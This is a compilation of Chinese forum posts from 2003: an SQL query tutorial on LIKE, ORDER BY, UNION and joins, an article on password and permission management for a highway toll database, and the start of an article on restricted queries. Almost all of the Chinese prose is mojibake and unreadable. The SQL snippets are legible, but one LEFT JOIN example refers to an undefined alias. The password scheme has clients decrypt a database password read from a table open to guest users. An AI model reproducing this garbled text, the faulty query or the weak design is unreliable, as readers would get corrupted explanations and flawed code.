3¡¢Ä£Ê½Æ¥Åä·ûÀý£º³£ÓÃÓÚÄ£ºý²éÕÒ£¬ËüÅжÏÁÐÖµÊÇ·ñÓëÖ¸¶¨µÄ×Ö·û´®¸ñʽÏàÆ¥Åä¡£¿ÉÓÃÓÚchar¡¢
varchar¡¢text¡¢ntext¡¢datetimeºÍsmalldatetimeµÈÀàÐͲéѯ¡£
¿ÉʹÓÃÒÔÏÂͨÅä×Ö·û£º
°Ù·ÖºÅ%£º¿ÉÆ¥ÅäÈÎÒâÀàÐͺͳ¤¶ÈµÄ×Ö·û£¬Èç¹ûÊÇÖÐÎÄ£¬ÇëʹÓÃÁ½¸ö°Ù·ÖºÅ¼´%%¡£
Ï»®Ïß_£ºÆ¥Åäµ¥¸öÈÎÒâ×Ö·û£¬Ëü³£ÓÃÀ´ÏÞÖƱí´ïʽµÄ×Ö·û³¤¶È¡£
·½À¨ºÅ[]£ºÖ¸¶¨Ò»¸ö×Ö·û¡¢×Ö·û´®»ò·¶Î§£¬ÒªÇóËùÆ¥Åä¶ÔÏóΪËüÃÇÖеÄÈÎÒ»¸ö¡£
[^]£ºÆäÈ¡ÖµÒ²[] Ïàͬ£¬µ«ËüÒªÇóËùÆ¥Åä¶ÔÏóΪָ¶¨×Ö·ûÒÔÍâµÄÈÎÒ»¸ö×Ö·û¡£

ÀýÈ磺
ÏÞÖÆÒÔPublishing½áβ£¬Ê¹ÓÃLIKE '%Publishing'
ÏÞÖÆÒÔA¿ªÍ·£ºLIKE '[A]%'
ÏÞÖÆÒÔA¿ªÍ·Í⣺LIKE '[^A]%'

4¡¢¿ÕÖµÅжϷûÀýWHERE age IS NULL

5¡¢Âß¼­ÔËËã·û£ºÓÅÏȼ¶ÎªNOT¡¢AND¡¢OR

(ËÄ)²éѯ½á¹ûÅÅÐò
ʹÓÃORDER BY×Ó¾ä¶Ô²éѯ·µ»ØµÄ½á¹û°´Ò»Áлò¶àÁÐÅÅÐò¡£ORDER BY×Ó¾äµÄÓï·¨¸ñʽΪ£º
ORDER BY {column_name [ASC|DESC]} [,¡­n]
ÆäÖÐASC±íʾÉýÐò£¬ÎªÄ¬ÈÏÖµ£¬DESCΪ½µÐò¡£ORDER BY²»ÄÜ°´ntext¡¢textºÍimageÊý¾ÝÀàÐͽøÐÐÅÅ
Ðò¡£
ÀýÈ磺
SELECT *
FROM usertable
ORDER BY age desc,userid ASC
ÁíÍ⣬¿ÉÒÔ¸ù¾Ý±í´ïʽ½øÐÐÅÅÐò¡£


¶þ¡¢ÁªºÏ²éѯ
UNIONÔËËã·û¿ÉÒÔ½«Á½¸ö»òÁ½¸öÒÔÉÏÉÏSELECTÓï¾äµÄ²éѯ½á¹û¼¯ºÏºÏ²¢³ÉÒ»¸ö½á¹û¼¯ºÏÏÔʾ£¬¼´Ö´ÐÐÁª
ºÏ²éѯ¡£UNIONµÄÓï·¨¸ñʽΪ£º
select_statement
UNION [ALL] selectstatement
[UNION [ALL] selectstatement][¡­n]
ÆäÖÐselectstatementΪ´ýÁªºÏµÄSELECT²éѯÓï¾ä¡£
ALLÑ¡Ïî±íʾ½«ËùÓÐÐкϲ¢µ½½á¹û¼¯ºÏÖС£²»Ö¸¶¨¸ÃÏîʱ£¬±»ÁªºÏ²éѯ½á¹û¼¯ºÏÖеÄÖظ´Ðн«Ö»±£ÁôÒ»
ÐС£
ÁªºÏ²éѯʱ£¬²éѯ½á¹ûµÄÁбêÌâΪµÚÒ»¸ö²éѯÓï¾äµÄÁбêÌâ¡£Òò´Ë£¬Òª¶¨ÒåÁбêÌâ±ØÐëÔÚµÚÒ»¸ö²éѯÓï
¾äÖж¨Òå¡£Òª¶ÔÁªºÏ²éѯ½á¹ûÅÅÐòʱ£¬Ò²±ØÐëʹÓõÚÒ»²éѯÓï¾äÖеÄÁÐÃû¡¢ÁбêÌâ»òÕßÁÐÐòºÅ¡£
ÔÚʹÓÃUNION ÔËËã·ûʱ£¬Ó¦±£Ö¤Ã¿¸öÁªºÏ²éѯÓï¾äµÄÑ¡ÔñÁбíÖÐÓÐÏàͬÊýÁ¿µÄ±í´ïʽ£¬²¢ÇÒÿ¸ö²éѯѡ
Ôñ±í´ïʽӦ¾ßÓÐÏàͬµÄÊý¾ÝÀàÐÍ£¬»òÊÇ¿ÉÒÔ×Ô¶¯½«ËüÃÇת»»ÎªÏàͬµÄÊý¾ÝÀàÐÍ¡£ÔÚ×Ô¶¯×ª»»Ê±£¬¶ÔÓÚÊýÖµÀà
ÐÍ£¬ÏµÍ³½«µÍ¾«¶ÈµÄÊý¾ÝÀàÐÍת»»Îª¸ß¾«¶ÈµÄÊý¾ÝÀàÐÍ¡£
ÔÚ°üÀ¨¶à¸ö²éѯµÄUNIONÓï¾äÖУ¬ÆäÖ´ÐÐ˳ÐòÊÇ×Ô×óÖÁÓÒ£¬Ê¹ÓÃÀ¨ºÅ¿ÉÒԸıäÕâÒ»Ö´ÐÐ˳Ðò¡£ÀýÈ磺
²éѯ1 UNION (²éѯ2 UNION ²éѯ3)



Èý¡¢Á¬½Ó²éѯ
ͨ¹ýÁ¬½ÓÔËËã·û¿ÉÒÔʵÏÖ¶à¸ö±í²éѯ¡£Á¬½ÓÊǹØϵÊý¾Ý¿âÄ£Ð͵ÄÖ÷ÒªÌص㣬ҲÊÇËüÇø±ðÓÚÆäËüÀàÐÍ
Êý¾Ý¿â¹ÜÀíϵͳµÄÒ»¸ö±êÖ¾¡£
ÔÚ¹ØϵÊý¾Ý¿â¹ÜÀíϵͳÖУ¬±í½¨Á¢Ê±¸÷Êý¾ÝÖ®¼äµÄ¹Øϵ²»±ØÈ·¶¨£¬³£°ÑÒ»¸öʵÌåµÄËùÓÐÐÅÏ¢´æ·ÅÔÚ
Ò»¸ö±íÖС£µ±¼ìË÷Êý¾Ýʱ£¬Í¨¹ýÁ¬½Ó²Ù×÷²éѯ³ö´æ·ÅÔÚ¶à¸ö±íÖеIJ»Í¬ÊµÌåµÄÐÅÏ¢¡£Á¬½Ó²Ù×÷¸øÓû§´ø
À´ºÜ´óµÄÁé»îÐÔ£¬ËûÃÇ¿ÉÒÔÔÚÈκÎʱºòÔö¼ÓеÄÊý¾ÝÀàÐÍ¡£Îª²»Í¬ÊµÌå´´½¨ÐÂµÄ±í£¬¶ûºóͨ¹ýÁ¬½Ó½øÐÐ
²éѯ¡£
Á¬½Ó¿ÉÒÔÔÚSELECT Óï¾äµÄFROM×Ó¾ä»òWHERE×Ó¾äÖн¨Á¢£¬ËÆÊǶø·ÇÔÚFROM×Ó¾äÖÐÖ¸³öÁ¬½ÓʱÓÐÖúÓÚ
½«Á¬½Ó²Ù×÷ÓëWHERE×Ó¾äÖеÄËÑË÷Ìõ¼þÇø·Ö¿ªÀ´¡£ËùÒÔ£¬ÔÚTransact-SQLÖÐÍƼöʹÓÃÕâÖÖ·½·¨¡£
SQL-92±ê×¼Ëù¶¨ÒåµÄFROM×Ó¾äµÄÁ¬½ÓÓï·¨¸ñʽΪ£º
FROM join_table join_type join_table
[ON (join_condition)]
ÆäÖÐjoin_tableÖ¸³ö²ÎÓëÁ¬½Ó²Ù×÷µÄ±íÃû£¬Á¬½Ó¿ÉÒÔ¶Ôͬһ¸ö±í²Ù×÷£¬Ò²¿ÉÒÔ¶Ô¶à±í²Ù×÷£¬¶Ôͬһ
¸ö±í²Ù×÷µÄÁ¬½ÓÓÖ³Æ×ö×ÔÁ¬½Ó¡£
join_type Ö¸³öÁ¬½ÓÀàÐÍ£¬¿É·ÖΪÈýÖÖ£ºÄÚÁ¬½Ó¡¢ÍâÁ¬½ÓºÍ½»²æÁ¬½Ó¡£ÄÚÁ¬½Ó(INNER JOIN)ʹÓñÈ
½ÏÔËËã·û½øÐбí¼äij(Щ)ÁÐÊý¾ÝµÄ±È½Ï²Ù×÷£¬²¢ÁгöÕâЩ±íÖÐÓëÁ¬½ÓÌõ¼þÏàÆ¥ÅäµÄÊý¾ÝÐС£¸ù¾ÝËùʹÓÃ
µÄ±È½Ï·½Ê½²»Í¬£¬ÄÚÁ¬½ÓÓÖ·ÖΪµÈÖµÁ¬½Ó¡¢×ÔÈ»Á¬½ÓºÍ²»µÈÁ¬½ÓÈýÖÖ¡£
ÍâÁ¬½Ó·ÖΪ×óÍâÁ¬½Ó(LEFT OUTER JOIN»òLEFT JOIN)¡¢ÓÒÍâÁ¬½Ó(RIGHT OUTER JOIN»òRIGHT JOIN)
ºÍÈ«ÍâÁ¬½Ó(FULL OUTER JOIN»òFULL JOIN)ÈýÖÖ¡£ÓëÄÚÁ¬½Ó²»Í¬µÄÊÇ£¬ÍâÁ¬½Ó²»Ö»ÁгöÓëÁ¬½ÓÌõ¼þÏàÆ¥
ÅäµÄÐУ¬¶øÊÇÁгö×ó±í(×óÍâÁ¬½Óʱ)¡¢ÓÒ±í(ÓÒÍâÁ¬½Óʱ)»òÁ½¸ö±í(È«ÍâÁ¬½Óʱ)ÖÐËùÓзûºÏËÑË÷Ìõ¼þµÄ
Êý¾ÝÐС£
½»²æÁ¬½Ó(CROSS JOIN)ûÓÐWHERE ×Ӿ䣬Ëü·µ»ØÁ¬½Ó±íÖÐËùÓÐÊý¾ÝÐеĵѿ¨¶û»ý£¬Æä½á¹û¼¯ºÏÖеÄ
Êý¾ÝÐÐÊýµÈÓÚµÚÒ»¸ö±íÖзûºÏ²éѯÌõ¼þµÄÊý¾ÝÐÐÊý³ËÒÔµÚ¶þ¸ö±íÖзûºÏ²éѯÌõ¼þµÄÊý¾ÝÐÐÊý¡£
Á¬½Ó²Ù×÷ÖеÄON (join_condition) ×Ó¾äÖ¸³öÁ¬½ÓÌõ¼þ£¬ËüÓɱ»Á¬½Ó±íÖеÄÁкͱȽÏÔËËã·û¡¢Âß¼­
ÔËËã·ûµÈ¹¹³É¡£
ÎÞÂÛÄÄÖÖÁ¬½Ó¶¼²»ÄܶÔtext¡¢ntextºÍimageÊý¾ÝÀàÐÍÁнøÐÐÖ±½ÓÁ¬½Ó£¬µ«¿ÉÒÔ¶ÔÕâÈýÖÖÁнøÐмä½Ó
Á¬½Ó¡£ÀýÈ磺
SELECT p1.pub_id,p2.pub_id,p1.pr_info
FROM pub_info AS p1 INNER JOIN pub_info AS p2
ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)

(Ò»)ÄÚÁ¬½Ó
ÄÚÁ¬½Ó²éѯ²Ù×÷ÁгöÓëÁ¬½ÓÌõ¼þÆ¥ÅäµÄÊý¾ÝÐУ¬ËüʹÓñȽÏÔËËã·û±È½Ï±»Á¬½ÓÁеÄÁÐÖµ¡£ÄÚÁ¬½Ó·Ö
ÈýÖÖ£º
1¡¢µÈÖµÁ¬½Ó£ºÔÚÁ¬½ÓÌõ¼þÖÐʹÓõÈÓÚºÅ(=)ÔËËã·û±È½Ï±»Á¬½ÓÁеÄÁÐÖµ£¬Æä²éѯ½á¹ûÖÐÁгö±»Á¬½Ó
±íÖеÄËùÓÐÁУ¬°üÀ¨ÆäÖеÄÖظ´ÁС£
2¡¢²»µÈÁ¬½Ó£º ÔÚÁ¬½ÓÌõ¼þʹÓóýµÈÓÚÔËËã·ûÒÔÍâµÄÆäËü±È½ÏÔËËã·û±È½Ï±»Á¬½ÓµÄÁеÄÁÐÖµ¡£ÕâЩ
ÔËËã·û°üÀ¨>¡¢>=¡¢<=¡¢<¡¢!>¡¢!<ºÍ<>¡£
3¡¢×ÔÈ»Á¬½Ó£ºÔÚÁ¬½ÓÌõ¼þÖÐʹÓõÈÓÚ(=)ÔËËã·û±È½Ï±»Á¬½ÓÁеÄÁÐÖµ£¬µ«ËüʹÓÃÑ¡ÔñÁбíÖ¸³ö²éѯ
½á¹û¼¯ºÏÖÐËù°üÀ¨µÄÁУ¬²¢É¾³ýÁ¬½Ó±íÖеÄÖظ´ÁС£
Àý£¬ÏÂÃæʹÓõÈÖµÁ¬½ÓÁгöauthorsºÍpublishers±íÖÐλÓÚͬһ³ÇÊеÄ×÷Õߺͳö°æÉ磺
SELECT *
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city

ÓÖÈçʹÓÃ×ÔÈ»Á¬½Ó£¬ÔÚÑ¡ÔñÁбíÖÐɾ³ýauthors ºÍpublishers ±íÖÐÖظ´ÁÐ(cityºÍstate)£º
SELECT a.*,p.pub_id,p.pub_name,p.country
FROM authors AS a INNER JOIN publishers AS p
ON a.city=p.city

(¶þ)ÍâÁ¬½Ó
ÄÚÁ¬½Óʱ£¬·µ»Ø²éѯ½á¹û¼¯ºÏÖеĽöÊÇ·ûºÏ²éѯÌõ¼þ( WHERE ËÑË÷Ìõ¼þ»ò HAVING Ìõ¼þ)ºÍÁ¬½ÓÌõ¼þ
µÄÐС£¶ø²ÉÓÃÍâÁ¬½Óʱ£¬Ëü·µ»Øµ½²éѯ½á¹û¼¯ºÏÖеIJ»½ö°üº¬·ûºÏÁ¬½ÓÌõ¼þµÄÐУ¬¶øÇÒ»¹°üÀ¨×ó±í(×óÍâ
Á¬½Óʱ)¡¢ÓÒ±í(ÓÒÍâÁ¬½Óʱ)»òÁ½¸ö±ß½Ó±í(È«ÍâÁ¬½Ó)ÖеÄËùÓÐÊý¾ÝÐС£
ÈçÏÂÃæʹÓÃ×óÍâÁ¬½Ó½«ÂÛ̳ÄÚÈݺÍ×÷ÕßÐÅÏ¢Á¬½ÓÆðÀ´£º
SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b
ON a.username=b.username

ÏÂÃæʹÓÃÈ«ÍâÁ¬½Ó½«city±íÖеÄËùÓÐ×÷ÕßÒÔ¼°user±íÖеÄËùÓÐ×÷Õߣ¬ÒÔ¼°ËûÃÇËùÔڵijÇÊУº
SELECT a.*,b.*
FROM city as a FULL OUTER JOIN user as b
ON a.username=b.username

(Èý)½»²æÁ¬½Ó
½»²æÁ¬½Ó²»´øWHERE ×Ӿ䣬Ëü·µ»Ø±»Á¬½ÓµÄÁ½¸ö±íËùÓÐÊý¾ÝÐеĵѿ¨¶û»ý£¬·µ»Øµ½½á¹û¼¯ºÏÖеÄÊý
¾ÝÐÐÊýµÈÓÚµÚÒ»¸ö±íÖзûºÏ²éѯÌõ¼þµÄÊý¾ÝÐÐÊý³ËÒÔµÚ¶þ¸ö±íÖзûºÏ²éѯÌõ¼þµÄÊý¾ÝÐÐÊý¡£
Àý£¬titles±íÖÐÓÐ6ÀàͼÊ飬¶øpublishers±íÖÐÓÐ8¼Ò³ö°æÉ磬ÔòÏÂÁн»²æÁ¬½Ó¼ìË÷µ½µÄ¼Ç¼Êý½«µÈ
ÓÚ6*8=48ÐС£
SELECT type,pub_name
FROM titles CROSS JOIN publishers
ORDER BY type
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 13:00
Èý²ã´ÎÊý¾Ý¿âÓ¦ÓÃÖеĿÚÁîȨÏÞ¹ÜÀí·½°¸ÓëʵÏÖ

ºúÍ®Éù

¡¡¡¡Õª¡¡Òª£ºÒ»ÖÖÐÂÐ͵ĻùÓÚÈý²ã´ÎÊý¾Ý¿âÓ¦ÓÃ˼ÏëµÄ¿ÚÁîȨÏÞ¹ÜÀí·½°¸¼°ÆäÔÚ¸ßËÙ¹«Â·ÊÕ·ÑÊý¾Ý¿â¹ÜÀíϵͳÖеÄʵÏÖ·½·¨¡£
¡¡¡¡¹Ø¼ü´Ê£ºÈý²ã´ÎÊý¾Ý¿â¡¡¼ÓÃÜ¡¡¿ÚÁîȨÏÞ

¡¡¡¡±¾ÎÄÕë¶ÔÒ»¸ö°²È«ÐÔÒªÇóºÜ¸ßµÄ¹ÜÀíÐÅϢϵͳ¡ª¡ª¸ßËÙ¹«Â·´óÐÍÊÕ·ÑÊý¾Ý¿â¹ÜÀíϵͳ£¬Ìá³öÁËÒ»ÖÖÐÂÐ͵ĻùÓÚÈý²ã´ÎµÄ¿ÚÁîȨÏÞ¹ÜÀí·½°¸¡£ÊÕ·ÑÕ¾·þÎñÆ÷ÖеÄÊý¾Ý¿â²ÉÓÃSQL SERVER6.5£¬Ç°Ì¨ÓÃVisual FoxPro 5.0¿ª·¢Óû§½çÃæÓ¦ÓóÌÐò£¬ÓÃÓÚ²ÆÎñÊý¾Ý²éѯ¡¢ÊÕ·ÑÔ±½»°à¹ÜÀí¡¢²ÆÎñ±¨±í´òÓ¡¡¢Í¨ÐÐƱ֤¹ÜÀí¡¢ÏµÍ³Î¬»¤µÈÒµÎñ²Ù×÷£¬ÓÃVisual C++5.0¿ª·¢ºǫ́Êý¾ÝͨÐÅÓ¦ÓóÌÐò£¬ÓÃÓںͳµµÀ¼ÆËã»úͨÐŲ¢½«ÊÕ·ÑÊý¾Ý¼ÈëÊý¾Ý¿â¡£ÊÕ·ÑÕ¾Óû§¿ÉÒÔʹÓÃVisual FoxPro 5.0»·¾³¡¢Isql»·¾³µÈÖ±½ÓÓëÊý¾Ý¿âÏàÁª£¬Ò²¿Éͨ¹ýÓ¦ÓóÌÐòµÇ¼Êý¾Ý¿â£¬»¹¿ÉµÇ¼µ½·þÎñÆ÷É϶ÔÊý¾Ý¿âϵͳ½øÐвÙ×÷£¬ÊÕ·Ñ·ÖÖÐÐĺÍÖÐÐÄÓû§Í¨¹ýÊл°Íø»òISDNרÏßÔ¶³Ì·ÃÎÊ·þÎñÆ÷µÇ¼Êý¾Ý¿â¡£ÓÉÓÚÊý¾Ý¿âÖдæ·ÅµÄÊÇÓйظßËÙ¹«Â·Í¨ÐзÑÊÕÈëµÄͳ¼ÆÊý¾Ý£¬ÆäÖØÒªÐÔÊDz»ÑÔ¶øÓ÷µÄ¡£ÎªÁËÓÐЧµØ¹æ·¶¸÷ÀàÓû§µÄ²Ù×÷ȨÏÞ£¬±£Ö¤ÏµÍ³µÄ°²È«£¬ÐèÒªÒ»Ì׿ɿ¿µÄÊý¾Ý°²È«ÐÔ¹ÜÀí·½°¸¡£
1¡¡ÏµÍ³Éè¼Æ˼Ïë
1.1¡¡¶þ²ãÊý¾Ý¿âÓ¦ÓÃÉè¼Æ´æÔÚµÄÎÊÌâ
¡¡¡¡Ä¿Ç°¹úÄڵĴóÐÍÊý¾Ý¿âÓ¦ÓÃϵͳ¶à²ÉÓÿͻ§/·þÎñÆ÷(Client/Server)Ó¦Óýṹ£¬Æä¿ÚÁî¹ÜÀí¶àΪ1¸öÓû§»ò×éÓÐ1¸ö¿ÚÁÓû§ÊäÈë¿ÚÁîºó¼´¿ÉÖ±½Ó¶ÔÊý¾Ý¿â½øÐвÙ×÷¡£ÕâÖÖ¹¤×÷·½Ê½µÄÓ¦ÓÃϵͳʵÖÊÉÏÊÇ»ùÓÚ¶þ²ãµÄÊý¾Ý¿âÓ¦ÓÃģʽ£¬ÊÇÖ±½ÓÃæÏòÊý¾ÝµÄ½á¹¹¡£ÆäÓŵãÊǽṹ¼òµ¥¡¢Ò×ÓÚʵÏÖ£¬µ«ÆäÓÐÃ÷ÏԵIJ»×㣺(1)°²È«ÐԲͨ¹ý¸÷ÀàÈËÔ±µÄ¿ÚÁîÈ·¶¨ÆäȨÏÞ£¬Ð¹ÃÜ¿ÉÄÜÐԴ󣬿ÉÄܳöÏÖ·Ç·¨ÈËÔ±µÇ¼¡£(2)Êý¾ÝÍêÕûÐԲ¶ÔÊý¾ÝµÄÖ±½Ó²Ù×÷ÓпÉÄÜÔì³ÉÒì³£Çé¿öÖжϲÙ×÷ʱÊý¾Ý²»ÍêÕû¡£(3)ЧÂʵͣº¸÷ÀàÓû§Ëæ»úµÄÒÔµ¥ÌõµÄSQLÓï¾äÖ±½ÓÌá½»¸øSQL SERVER£¬¼ÓÖØÁËÍøÂçµÄ¸ºµ£¡£
1.2¡¡Èý²ã´ÎÊý¾Ý¿âÓ¦ÓÃϵͳÉè¼Æ
¡¡¡¡Èý²ã´ÎµÄÊý¾Ý¿âÓ¦ÓýṹÊÇÖ¸¡°¿Í»§-Ó¦ÓÃ-·þÎñÆ÷¡±(Client/Application/Server)µÄÈý²ã´ÎÓ¦Óýṹ£¬Æä½á¹¹¼ûͼ1¡£


ͼ1  Èý²ã´ÎÊý¾Ý¿âÓ¦Óýṹ

¡¡¡¡Êý¾Ý¿âµÄÈý²ã´ÎÓ¦ÓýṹµÄÌصãÊǽ«Óû§ºÍ·þÎñÆ÷
ÖÐSQL SERVERÖ®¼äµÄÖ±½Ó²Ù×÷¶Ï¿ª£¬ÔÚ¶þÕßÖ®¼äÔö¼Ó1¸öÖмäÓ¦Óò㣬ËüµÄÖ÷ÒªÈÎÎñÊǽ«Óû§µÄËùÓвÙ×÷ÇëÇóͨ¹ýIsql²Ù×÷¼¯£¬¼Ó¹¤³ÉÍêÕûµÄSQLʼþ(Transction)£¬Ìá½»¸øÊý¾Ý¿â¹ÜÀíϵͳ(DBMS)¡£1¸öʼþ¿ÉÄÜ°üº¬1´ÎÇëÇóÖеĶàÖÖÊý¾Ý¿â²Ù×÷£¬¶øÖ»ÓÐÕâһʼþÖеĶàÖÖ²Ù×÷¶¼³É¹¦Íê³Éʱ²Å·µ»ØʼþÍê³É±êÖ¾£¬·ñÔò½«¸´Ô­ËùÓвÙ×÷²¢·µ»Øʧ°Ü±êÖ¾¡£Èý²ã´Î½á¹¹µÄÓŵãÊÇ£º(1)Êý¾Ý±£ÃÜÐԺãºÊý¾Ý¿âÖ»Ðè¸øÖмäÓ¦Óòã³ÌÐò¿ÚÁîȨÏÞ£¬¶øÇÒ¿ÚÁîÓÐרÃŵļÓÃÜ¡¢½âÃÜËã·¨¿ØÖÆ£¬¼«ÄÑÆƽ⡣ÕâÑù¼´Ê¹ÓÐÈ˵ÁÓúϷ¨Óû§µÄ¿ÚÁҲ²»ÄܽøÐÐÓ¦ÓóÌÐò²»ÔÊÐíµÄ·Ç·¨²Ù×÷¡£(2)Ò×ÓÚÈËÔ±¹ÜÀí£ºËäÈ»¸÷ÀàÈËÔ±ÓµÓеǼ¼ÆËã»úµÄ¿ÚÁµ«²»ÄÜÖ±½ÓµÇ¼Êý¾Ý¿â¡£(3)Êý¾ÝÍêÕûÐԺ㺸÷ÀàÓû§¶ÔÊý¾Ý¿âµÄ²Ù×÷ÇëÇ󣬱»Ó¦Óòã¼Ó¹¤³ÉÁËSQLʼþ£¬Ò×ÓÚ±£Ö¤Êý¾ÝµÄÍêÕûÐÔ¡£(4)ÍøÂç×ÊÔ´ÔËÓúÏÀí£ºÓÉÓÚSQLʼþµÄÒýÈ룬ȡ´úÁËÒÔÍùËæ»úµÄÔÓÂҵĵ¥ÌõÊý¾Ý¿â²Ù×÷Ö¸Á¼õÇáÁËÍøÂ縺µ£¡£
2¡¡·½°¸ÊµÏÖ
¡¡¡¡ÓÉÓÚÓû§Ã»ÓÐÖ±½ÓʹÓÃÊý¾Ý¿âµÄȨÏÞ£¬ËùÒÔ±¾ÏµÍ³µÄÉè¼ÆÖصãÔÚÓÚÓ¦ÓóÌÐòµÄ¿ÚÁîȨÏÞÉèÖá£ËüÖ÷Òª°üÀ¨£º¿ÚÁî¼ÓÃÜËã·¨µÄÑ¡ÔñºÍÓ¦ÓóÌÐò¶Ô¿ÚÁîµÄ¾ßÌå²Ù×÷·½·¨¡£
2.1¡¡¿ÚÁî¼ÓÃÜËã·¨µÄÑ¡Ôñ
¡¡¡¡¿ÚÁîÃ÷ÎÄ°´Ñ¡¶¨µÄ¼ÓÃÜËã·¨¼ÓÃÜ´æ´¢ºó£¬¿ÚÁîÉèÖÃÕßÒÔÍâµÄÈκÎÈË£¬¼Èʹ¿´µ½¿ÚÁîÃÜÎÄ£¬Ò²ºÜÄÑÆÆÒë³ÉÃ÷ÎÄ£¬Õâ¾ÍÐèҪѡÔñÒ»Ì×Á¼ºÃµÄÃÜÂëÌåÖÆ¡£ÏÖÓеÄÃÜÂëÌåÖÆ·Ö3Àࣺ´«Í³ÃÜÂëÌåÖÆ(ÈçVigenereÃÜÂ룬CaesarÃÜÂëµÈ)¡¢¹«¿ªÃÜÂëÌåÖƺÍÊý¾Ý¼ÓÃܱê×¼(DES)ÌåÖÆ¡£ÓÉÓÚ±¾ÏµÍ³Ö÷ÒªÒªÇó¿ÚÁîµÄ¼ÓÃÜ£¬ËùÒÔÎÒÃÇÑ¡ÓÃÊý¾Ý¼ÓÃܱê×¼(DES)ÌåÖÆ¡£ËüÊÇÃÀ¹ú¹ú¼Ò±ê×¼¾Ö¹«²¼µÄÁª°î¼ÓÃܱê

×¼£¬ÊÇÖظ´Ê¹ÓÃÒÆλ±ä»»ºÍÌæ»»±ä»»µÄÇ¿¿éÃÜÂë(Ç¿·Ö×éÃÜÂë)¡£½«Ã÷ÎÄ°´64λ·Ö×飬ÔÚ64λÃÜÔ¿µÄ¿ØÖÆÏ£¬½«Ã¿×éÃ÷ÎÄת»»ÎªµÈ¿é³¤µÄ64λÃÜÎÄÊä³ö¡£DES±¾ÖÊÉÏÊôÓÚÒ»ÖÖ¿¹ÆÆÒëÄÜÁ¦½ÏÇ¿µÄ³Ë»ýÃÜÂëÌåÖÆ¡£
2.2¡¡Ó¦ÓóÌÐò¶Ô¿ÚÁîµÄ¾ßÌå²Ù×÷·½·¨
¡¡¡¡1.ÔÚ·þÎñÆ÷¶Ë£¬ÏµÍ³³¬¼¶Óû§ÊäÈëÓ¦ÓóÌÐòµÄIDºÅºÍ¿ÚÁ¿ÚÁîÉèÖóÌÐò°´ËùÑ¡¼ÓÃÜËã·¨½«Æä¼ÓÃܺ󣬴æ·ÅÔÚÊý¾Ý¿âµÄ1¸ö±í(Table 1)ÖУ¬È»ºóÖ»½«¶ÔÕâ¸ö±íµÄ·ÃÎÊȨÊÚȨ¸ø±ö¿ÍÓû§(Guest)¡£
¡¡¡¡2.ÔÚ¿Í»§¶Ë£¬Ó¦ÓóÌÐòÒÔGuestµÄÉí·Ý£¬¶ÁÈ¡Table 1ÖжÔÓ¦±¾³ÌÐòIDºÅµÄ¿ÚÁîÃÜÎÄ£¬È»ºó°´ÏàÓ¦½âÃÜËã·¨½«Æäת»»ÎªÃ÷ÎÄ£¬ÓôËÃ÷Îļ´¿ÉµÇ¼Êý¾Ý¿â½øÐÐȨÏÞÄڵIJÙ×÷¡£
¡¡¡¡3.µ±ÓÉÓÚijÖÖÔ­ÒòÐèÒª¸Ä±äij¸öÓ¦ÓóÌÐòµÄ¿ÚÁîʱ£¬ÏµÍ³³¬¼¶Óû§ÐèÊäÈë´ËÓ¦ÓóÌÐòµÄIDºÅºÍÔ­¿ÚÁ²Å¿ÉÉèÖÃеĿÚÁî¡£
3¡¡½áÊøÓï
¡¡¡¡Èý²ã´ÎÊý¾Ý¿âÓ¦Ó÷½·¨ÊǶÔÒÔÍùÁ½²ã´ÎÊý¾Ý¿âÓ¦Ó÷½·¨µÄ¸Ä½øºÍÓÅ»¯£¬ÊÇÊý¾Ý¿âÓ¦Óò»¶Ï·¢Õ¹µÄ±ØÈ»Ç÷ÊÆ¡£±¾ÎÄÌÖÂ۵ĿÚÁîȨÏÞ¹ÜÀí·½°¸ÊǶÔÈý²ã´ÎÊý¾Ý¿âÓ¦ÓÃϵͳµÄ³õ²½³¢ÊÔ¡£¸Ã·½°¸ÒÑÓÃÓÚ312¹úµÀºÏ¡ªÄþ¶Î¸ßËÙ¹«Â·´óÐÍÊÕ·ÑÊý¾Ý¹ÜÀíϵͳÖУ¬ÔÚʵ¼ùÖо­¹ý¸÷ÖÖ¸´ÔÓÇé¿öµÄ¿¼Ñ飬Öð²½ÍêÉƲ¢µÃµ½Óû§µÄºÃÆÀ¡£

×÷Õßµ¥Î»£ºÊ¯¼Òׯµç×Ó²¿ÎåÊ®ËÄËù(050081)

²Î¿¼ÎÄÏ×

1¡¡ÃÀ¹úÔËÊäÁª°î¹«Â·¾Ö.½»Í¨¿ØÖÆϵͳÊÖ²á.±±¾©£ºÈËÃñ½»Í¨³ö°æÉ磬1998
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 13:02
Ò»ÖÖ°²È«ºÍÏÞÖƲéѯµÄ³ÌÐòÉè¼Æ˼Ïë

ºé¹úÈð

Ò»¡¢ ÒýÑÔ
¡¡¡¡ÔÚµçÄÔ´¦Àí³ÌÐòÖУ¬¸ù¾Ý²Ù×÷Ô±µÄ¼¶±ð£¬¸³Ó費ͬµÄȨÏÞ£¬Ö´ÐÐÏàÓ¦µÄ²Ù×÷£¬ÊÇÒ»¸ö»ù±¾ÒªÇó¡£Õâ¾ÍÊÇͨ³£µÄ°²È«ÐÔÎÊÌâ¡£ÁíÍ⣬ÔÚÒ»¸öµ¥Î»ÄÚ²¿£¬ÓÉÓÚÈËÔ±µÄ¼¶±ð²»Í¬£¬ÐÅÏ¢²éѯµÄ·¶Î§²»Í¬£¬ÈçÔÚÒ»¸öѧУÖУ¬Ð£³¤ÒªÄܹ»²éѯȫУÐÅÏ¢£¬½ÌÑÐÊÒÖ÷ÈÎÖ»Äܲéѯ±¾½ÌÑÐÊÒÐÅÏ¢£¬½ÌʦֻÄܲéѯ×Ô¼ºµÄÐÅÏ¢£¬Õâ¸öÎÊÌâÎÒÃdzÆΪÏÞÖƲéѯÎÊÌ⡣ʵ¼ÊÉÏ£¬ÕâÁ½¸öÎÊÌâÊÇÏ໥¹ØÁªµÄ¡£ÔÚ³ÌÐò¿ª·¢ÖУ¬¿É·ÖÁ½²½½â¾ö¡£

¶þ¡¢ °²È«ÐÔ³ÌÐòÉè¼Æ˼Ïë
¡¡¡¡Ê×ÏÈ£¬½¨Á¢Á½ÕÅ±í£¬Ò»ÕÅΪoperator£¬ÓÃÓÚ´æ·Å²Ù×÷Ô±¹¤ºÅºÍÐÕÃû¡£
¡¡¡¡Create Table operator(
¡¡¡¡¡¡opCode Char(6),
¡¡¡¡¡¡opName Char(8),
¡¡¡¡)
